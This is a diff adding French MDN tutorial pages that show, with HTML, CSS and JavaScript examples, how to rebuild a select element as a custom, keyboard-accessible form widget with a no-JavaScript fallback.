+      <li class="option">Banane</li>
+      <li class="option">Fraise</li>
+      <li class="option">Pomme</li>
+    </ul>
+  </div>
+</form>
+ +

Contenu CSS

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Styles chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

Contenu JavaScript

+ +
// ----------- //
+// UTILITAIRES //
+// ----------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// ------------------------- //
+// Définitions des fonctions //
+// ------------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+
+function getIndex(select) {
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+
+// -------------------- //
+// Liens aux événements //
+// -------------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option');
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    });
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+  });
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    select.tabIndex = 0;
+    select.previousElementSibling.tabIndex = -1;
+
+    updateValue(select, selectedIndex);
+
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      if (event.keyCode === 40 && index < length - 1) { index++; }
+      if (event.keyCode === 38 && index > 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});
+ +

Résultat

+ +

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.html b/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.html new file mode 100644 index 0000000000..bf1143d186 --- /dev/null +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.html @@ -0,0 +1,290 @@ +--- +title: Exemple 5 +slug: >- + Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5 +tags: + - Formulaires + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_5 +--- +

Voici le dernier exemple expliquant comment construire des widgets de formulaire personnalisés.

+ +

Changement d'état

+ +

Contenu HTML

+ +
<form class="no-widget">
+  <select name="myFruit">
+    <option>Cerise</option>
+    <option>Citron</option>
+    <option>Banane</option>
+    <option>Fraise</option>
+    <option>Pomme</option>
+  </select>
+
+  <div class="select" role="listbox">
+    <span class="value">Cerise</span>
+    <ul class="optList hidden" role="presentation">
+      <li class="option" role="option" aria-selected="true">Cerise</li>
+      <li class="option" role="option">Citron</li>
+      <li class="option" role="option">Banane</li>
+      <li class="option" role="option">Fraise</li>
+      <li class="option" role="option">Pomme</li>
+    </ul>
+  </div>
+</form>
+ +

Contenu CSS

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Styles Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

Contenu JavaScript

+ +
// ----------- //
+// UTILITAIRES //
+// ----------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// ------------------------- //
+// Définitions des fonctions //
+// ------------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+
+function getIndex(select) {
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+
+// -------------------- //
+// Liens aux événements //
+// -------------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    select.tabIndex = 0;
+    select.previousElementSibling.tabIndex = -1;
+
+    updateValue(select, selectedIndex);
+
+    optionList.forEach(function (option, index) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    });
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      if (event.keyCode === 40 && index < length - 1) { index++; }
+      if (event.keyCode === 38 && index > 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});
+
+ +

Résultat

+ +

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/index.html b/files/fr/learn/forms/how_to_build_custom_form_controls/index.html new file mode 100644 index 0000000000..4173ff9f9c --- /dev/null +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/index.html @@ -0,0 +1,837 @@ +--- +title: Comment construire des widgets de formulaires personnalisés +slug: >- + Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés +tags: + - Avancé + - Exemple + - Formulaires + - Guide + - HTML + - Web +translation_of: Learn/Forms/How_to_build_custom_form_controls +--- +
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}
+ +

Dans de nombreux cas les widgets de formulaires HTML disponibles ne suffisent pas. Si vous voulez composer certains widgets dans un style avancé tels que l'élément {{HTMLElement("select")}} ou si vous voulez leur donner des comportements personnalisés, vous n'avez pas d'autre choix que de créer vos propres widgets.

+ +

Dans cet article, nous verrons comment construire un tel widget. Pour cela, nous allons travailler avec un exemple : reconstruire l'élément {{HTMLElement("select")}}.

+ +
+

Note : Nous nous resterons centrés sur la construction des widgets, et non sur la façon de rendre le code générique et réutilisable ; cela impliquerait une manipulation de code JavaScript et de DOM dans un contexte inconnu, et nous sortirions de la portée de cet article.

+
+ +

Conception, structure et sémantique

+ +

Avant de créer un widget personnalisé, il faut commencer par déterminer exactement ce que vous voulez. Vous gagnerez ainsi un temps précieux. En particulier, il est important de définir clairement tous les états de votre widget. Pour ce faire, il est bon de commencer par un widget existant dont les états et le comportement sont bien connus, afin que vous puissiez simplement les imiter autant que possible.

+ +

Dans notre exemple, nous allons reconstruire l'élément {{HTMLElement("select")}}}. Voici le résultat que nous voulons atteindre :

+ +

The three states of a select box

+ +

Cette capture d'écran montre les trois états principaux du widget : l'état normal (à gauche), l'état actif (au milieu) et l'état ouvert (à droite).

+ +

En termes de comportement, nous voulons que notre widget soit utilisable aussi bien avec une souris qu'avec un clavier, comme n'importe quel widget natif. Commençons par définir comment le widget atteint chaque état :

+ +
+
Le widget est dans son état normal :
+
+
    +
  • la page se charge
    • +
  • le widget était actif et l'utilisateur a cliqué quelque part en dehors du widget
    • +
  • le widget était actif et l'utilisateur a déplacé le focus sur un autre avec le clavier
    • +
+
+
+ +

 

+ +
+
+
+

Note : Déplacer le focus dans la page entre les divers widgets se fait généralement en appuyant sur la touche de tabulation, mais ce n'est pas la norme partout. Par exemple, circuler parmi les liens sur une page se fait dans Safari par défaut en utilisant la combinaison Option+Tab.

+
+
+
Le widget est sans son état actif :
+
+
    +
  • l'utilisateur clique sur lui
    • +
  • l'utilisateur presse la touche Tabulation et obtient le focus
    • +
  • le widget était dans l'état ouvert et l'utilisateur a cliqué dessus.
    • +
+
+
Le widget est dans un état ouvert :
+
+
    +
  • le widget est dans un état autre que ouvert et l'utilisateur clique dessus.
    • +
+
+
+ +

Maintenant que nous savons comment changer les états du widget, il est important de définir comment changer la valeur du widget :

+ +
+
La valeur change quand :
+
+
    +
  • l'utilisateur clique sur une option quand le widget est dans l'état ouvert
    • +
  • l'utilisateur presse la touche ↑ ou ↓ quand le widget est dans l'état actif
    • +
+
+
+ +

Enfin, définissons comment les options du widget doivent se comporter :

+ +
    +
  • Quand le widget est ouvert, l'option sélectionnée est mise en valeur
    • +
  • Quand la souris est sur une option, l'option est mise en valeur et l'option précédemment mise en valeur revient à l'état normal
    • +
+ +

Pour les besoins de notre exemple, nous nous arrêterons là ; cependant, si vous êtes un lecteur attentif, vous remarquerez que certains comportements ne sont pas précisés. Par exemple, que pensez-vous qu'il se passe si l'utilisateur appuie sur la touche Tabulation alors que le widget est dans l'état ouvert ? La réponse est… rien. D'accord, le bon comportement semble évident mais le fait est que, comme il n'est pas défini dans nos spécifications, il est très facile de fermer les yeux sur ce comportement. Dans un travail collaboratif, lorsque les personnes concevant le comportement du widget sont différentes de celles qui le mettent en œuvre, cette démarche se vérifiera.

+ +

Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches ↑ ou ↓ alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après).

+ +

Dans notre exemple, les spécifications manquantes sont évidentes et nous les traiterons, mais cela peut devenir un problème réel sur de nouveaux widgets exotiques, pour lesquels personne n'a la moindre idée de ce qu'est le bon comportement. Il est donc toujours bon de passer du temps à l'étape conception, car si vous définissez pauvrement le comportement, ou si vous oubliez de le définir, il sera très difficile de le redéfinir une fois les utilisateurs habitués. Si vous avez des doutes, demandez l'avis des autres, et si vous avez le budget pour cela, n'hésitez pas à faire des tests utilisateur. Ce processus est appelé UX Design (User eXperience). Si vous voulez en savoir plus sur ce sujet, vous devriez consulter les ressources utiles suivantes :

+ + + +
+

Note : De plus, dans la plupart des systèmes, il y a moyen d'ouvrir l'élément {{HTMLElement("select")}} pour voir tous les choix disponibles (c'est la même chose que de cliquer sur l'élément {{HTMLElement("select")}} avec une souris). Cela se fait avec Alt+↓ sous Windows et n'a pas été implémenté dans notre exemple - mais il serait facile de le faire, car le mécanisme a déjà été implémenté pour l'événement click.

+
+ +

Definition de la structure HTML et de la sémantique

+ +

Maintenant que la fonctionnalité de base du widget a été décidée, il est temps de commencer à construire notre widget. La première étape consiste à définir sa structure HTML et à lui donner une sémantique de base. Voici ce dont nous avons besoin pour reconstruire un élément <select> :

+ +
<!-- Ceci est notre conteneur principal pour le widget. L'attribut tabindex
+     est ce qui permet à l'utilisateur de mettre le focus sur le widget.
+     Nous verrons plus loin que c'est mieux de le faire avec JavaScript. -->
+<div class="select" tabindex="0">
+
+  <!-- Ce containeur sera utilisé pour afficher la valeur courante du widget -->
+  <span class="value">Cerise</span>
+
+  <!-- Ce conteneur contiendra toutes les options disponibles pour le widget.
+       Comme c'est une liste, il y sens à utiliser l'élément ul. -->
+  <ul class="optList">
+    <!-- Chaque option ne contient que la valeur à afficher, Nous verrons plus loin
+         comment gérer la valeur réelle qui sera envoyée avec les données du formulaire -->
+    <li class="option">Cerise</li>
+    <li class="option">Citron</li>
+    <li class="option">Banane</li>
+    <li class="option">Fraise</li>
+    <li class="option">Pomme</li>
+  </ul>
+
+</div>
+ +

Notez l'utilisation de noms de classes qui identifient chaque partie pertinente indépendamment des éléments HTML sous-jacents utilisés. Ceci est important pour s'assurer que nous n'allons pas lier les CSS et JavaScript à une structure HTML forte, pour pouvoir faire des changements d'implémentation plus tard sans casser le code qui utilise le widget. Par exemple, si vous souhaitez implémenter l'équivalent de l'élément {{HTMLElement("optgroup")}}.

+ +

Composition et ressenti avec les CSS

+ +

Maintenant que nous avons une structure, nous pouvons commencer à concevoir notre widget. Le but de construire un widget personnalisé est de pouvoir lui donner exactement le style que nous voulons. Pour cela, nous allons partager le travail sur les CSS en deux parties : la première relative aux règles des CSS absolument nécessaires pour que notre widget se comporte comme un élément {{HTMLElement("select")}}, la seconde constituée des décorations utilisés lui donnant un aspect personnalisé.

+ +

Styles obligatoires

+ +

Les styles obligatoires sont ceux nécessaires à la gestion des trois états du widget.

+ +
.select {
+  /* Celui-ci crée un contexte de positionnement pour la liste des options */
+  position: relative;
+
+  /* Celui-ci fait que le widget devient partie du flot textuel
+     et devient en même temps dimensionnable */
+  display : inline-block;
+}
+ +

Nous avons besoin d'une classe active supplémentaire pour définir l'apparence du widget dans son état actif. Comme le widget peut recevoir le focus, nous doublons ce style personnalisé avec la pseudo-classe {{cssxref(":focus")}} afin d'être sûrs qu'elles se comporteront de la même manière.

+ +
.select.active,
+.select:focus {
+  outline: none;
+
+  /* Cette propriété box-shadow n'est pas requise à proprement parler, mais il est
+     important de s'assurer que l'état actif soit visible, c'est pourquoi nous
+     utilisons une valeur par défaut. Vous êtes libre de la modifier. */
+  box-shadow: 0 0 3px 1px #227755;
+}
+ +

Passons maintenant à la liste des options :

+ +
/* Le sélecteur .select ici est du sucre syntaxique (le fait de donner au
+   programmeur des possibilités d'écriture plus succinctes ou plus proches
+   d'une notation usuelle) pour s'assurer que les classes que nous définissons
+   sont les seules à l'intérieur du widget. */
+.select .optList {
+  /* Ceci assure que la liste des options sera affichée au dessous de la valeur
+     et en dehors du flot HTML */
+  position : absolute;
+  top      : 100%;
+  left     : 0;
+}
+ +

Nous avons besoin d'une classe supplémentaire pour gérer la liste d'options cachée. Ceci est nécessaire pour la gestion des différences entre état actif et état ouvert qui ne correspondent pas exactement.

+ +
.select .optList.hidden {
+  /* Ceci est un moyen simple pour cacher la liste tout en conservant l'accessibilité,
+     nous reparlerons plus loin d'accessibilité */
+  max-height: 0;
+  visibility: hidden;
+}
+ +

Embellissements

+ +

Maintenant que nous avons mis en place les fonctionnalités de base, le divertissement peut commencer. Ce qui suit n'est qu'un exemple de ce qui est possible, et correspondra à la capture d'écran au début de cet article. Cependant, vous devriez vous sentir libre d'expérimenter et de voir ce que cela donne.

+ +
.select {
+  /* Toutes les tailles seront exprimées en valeurs em (lettre M, étalon
+     du cadratin : cadre dans lequel sont dessinées toutes les lettres d'une
+     police de caractères) pour des raisons d'accessibilité (pour être sûrs
+     que le widget reste redimensionnable si l'utilisateur utilise le zoom
+     du navigateur en mode texte exclusif). Les calculs sont faits en
+     supposant que 1em==16px qui est la valeur par défaut dans la majorité
+     des navigateurs. Si vous êtes perdus avec les conversions entre px et
+     em, essayez http://riddle.pl/emcalc/ */
+  font-size   : 0.625em; /* ceci (10px) est le nouveau contexte de taille de
+     police pour la valeur em dans ce contexte. */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* Nous avons besoin de plus d'espace pour la flèche vers le bas que nous
+     allons ajouter. */
+  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : .2em solid #000; /* 2px */
+  border-radius : .4em; /* 4px */
+  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  /* La première déclaration concerne les navigateurs qui ne prennent pas en
+     charge les gradients linéaires. La deuxième déclaration est parce que
+     les navigateurs basés sur WebKit ne l'ont pas encore préfixé. Si vous
+     souhaitez prendre en charge les anciens navigateurs, essayez
+     http://www.colorzilla.com/gradient-editor/ */
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  /* Comme la valeur peut être plus large que le widget, nous devons nous
+     assurer qu'elle ne changera pas la largeur du widget. */
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  vertical-align: top;
+
+  /* Et si le contenu déborde, c'est mieux d'avoir une jolie abreviation. */
+  white-space  : nowrap;
+  text-overflow: ellipsis;
+
+ +

Nous n'avons pas besoin d'un élément supplémentaire pour concevoir la flèche vers le bas ; à la place, nous utilisons le pseudo-élément {{cssxref(":after:after")}}. Cependant, elle pourrait également être mise en œuvre à l'aide d'une simple image de fond sur la classe select.

+ +
.select:after {
+  content : "▼"; /* Nous utilisons le caractère unicode U+25BC;
+                    voir http://www.utf8-chartable.de */
+  position: absolute;
+  z-index : 1; /* Il est important d'empêcher la flèche de chevaucher la liste des options */
+  top     : 0;
+  right   : 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  height  : 100%;
+  width   : 2em;  /* 20px */
+  padding-top : .1em; /* 1px */
+
+  border-left  : .2em solid #000; /* 2px */
+  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
+
+  background-color : #000;
+  color : #FFF;
+  text-align : center;
+}
+ +

Maintenant, composons la décoration de la liste des options :

+ +
.select .optList {
+  z-index : 2; /* Nous disons explicitement que la liste des options doit toujours passer sur la flèche */
+
+  /* cela réinitialiser le style par défaut de l'élément ul */
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* Cela nous assure que même si les valeurs sont plus petites que le widget,
+     la liste des options sera aussi large que le widget lui‑même */
+  min-width : 100%;
+
+  /* Dans le cas où la liste est trop longue, son contenu débordera verticalement
+     (ce qui ajoutera une barre de déroulement automatiquement) mais jamais horizontalement
+     (car nous n'avons jamais défini de largeur, la liste ajustera automatiquement sa largeur
+     Si ce n'est pas possible, le contenu sera tronqué) */
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+
+  border: .2em solid #000; /* 2px */
+  border-top-width : .1em; /* 1px */
+  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
+  background: #f0f0f0;
+}
+ +

Pour les options, nous devons ajouter une classe highlight pour pouvoir identifier la valeur que l'utilisateur choisira (ou a choisi).

+ +
.select .option {
+  padding: .2em .3em; /* 2px 3px */
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

Donc, voici le résultat avec les trois états :

+ + + + + + + + + + + + + + + + + + + +
Basic stateActive stateOpen state
{{EmbedLiveSample('Basic_state',120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}{{EmbedLiveSample("Active_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}{{EmbedLiveSample("Open_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}
Check out the source code
+ +

Donnez vie à votre widget avec JavaScript

+ +

Maintenant que le design et la structure sont prêts, nous pouvons écrire le code JAvaScript pour que le widget fonctionne vraiment.

+ +
+

Avertissement : Le code qui suit a été conçu à des fins éducatives et ne doit pas être utilisé tel quel. Entre autres choses, comme nous le verrons, il n'est pas à l'épreuve du temps et ne fonctionnera pas sur des navigateurs historiques. Il comporte également des parties redondantes. Elles devraient être optimisées pour du code de production.

+
+ +
+

Note : Créer des widgets réutilisables peut se révéler un peu délicat. L'ébauche de la norme « W3C Web Component » apporte des réponses à cette question particulière. Le projet X-Tag est un essai de mise en œuvre de cette spécification ; nous vous encourageons à y jeter un coup d'œil.

+
+ +

Pourquoi ne fonctionne-t-il pas ?

+ +

 

+ +

Avant de commencer, il est important de se rappeler quelque chose de très important à propos de JavaScript : dans un navigateur, c'est une technique peu fiable. Lorsque vous créez des widgets personnalisés, vous êtes obligé de faire appel à JavaScript parce que c'est un fil nécessaire pour tout lier ensemble. Cependant, il existe de nombreux cas dans lesquels JavaScript n'est pas capable de s'exécuter dans le navigateur :

+ +
    +
  • L'utilisateur a désactivé le JavaScript : c'est un cas assez inhabituel, peu de personnes désactivent le JavaScript de nos jours.
    • +
  • Le script ne se charge pas. La chose est très courante, en particulier dans le domaine des mobiles pour lesquels le réseau n'est pas sûr.
    • +
  • Le script est bogué. Il faut toujours prendre en considération cette éventualité.
    • +
  • Le script est en conflit avec un autre script tierce‑partie. Cela peut se produire avec des suites de scripts ou n'importe quel marque page utilisé par l'utilisateur.
    • +
  • Le script est en conflit avec, ou est affecté par un extension de navigateur  (comme l'extension « No script » de Firefox ou « Scripts » de Chrome).
    • +
  • L'utilisateur utilise un navigateur ancien et l'une des fonctions dont vous avez besoin n'est pas prise en charge. Cela se produira fréquemment lorsque vous utiliserez des API de pointe.s.
    • +
+ +

 

+ +

 

+ +

En raison de ces aléas, il est vraiment important de considérer avec sérieux ce qui se passe si JavaScript ne fonctionne pas. Traiter en détail cette question est hors de la portée de cet article parce qu'elle est étroitement liée à la façon dont vous voulez rendre votre script générique et réutilisable, mais nous prendrons en considération les bases de ce sujet dans notre exemple.

+ +

Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément  {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses.

+ +

Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} régulier avant chaque utilisation de notre widget personnalisé. Ceci est également nécessaire pour pouvoir envoyer les données de notre widget personnalisé avec le reste de nos données du formulaire ; nous reviendrons sur ce point plus tard.

+ +

 

+ +
<body class="no-widget">
+  <form>
+    <select name="myFruit">
+      <option>Cerise</option>
+      <option>Citron</option>
+      <option>Banane</option>
+      <option>Fraise</option>
+      <option>Pomme</option>
+    </select>
+
+    <div class="select">
+      <span class="value">Cerise</span>
+      <ul class="optList hidden">
+        <li class="option">Cerise</li>
+        <li class="option">Citron</li>
+        <li class="option">Banane</li>
+        <li class="option">Fraise</li>
+        <li class="option">Pomme</li>
+      </ul>
+    </div>
+  </form>
+
+</body>
+ +

 

+ +

Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel »  si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé.

+ +
.widget select,
+.no-widget .select {
+  /* Ce sélecteur CSS dit fondamentalement :
+     - soit la classe body est "widget" et donc l'élément {{HTMLElement("select")}} réel sera caché
+     - soit la classe body n'a pas changé, elle est toujours "no-widget",
+       et donc les éléments, dont la classe est « select », doivent être cachés */
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+ +

 

+ +

Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule  est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé.

+ +

 

+ +

 

+ +
window.addEventListener("load", function () {
+  document.body.classList.remove("no-widget");
+  document.body.classList.add("widget");
+});
+ + + + + + + + + + + + + + + + + +
Sans JavaScriptAvec JavaScript
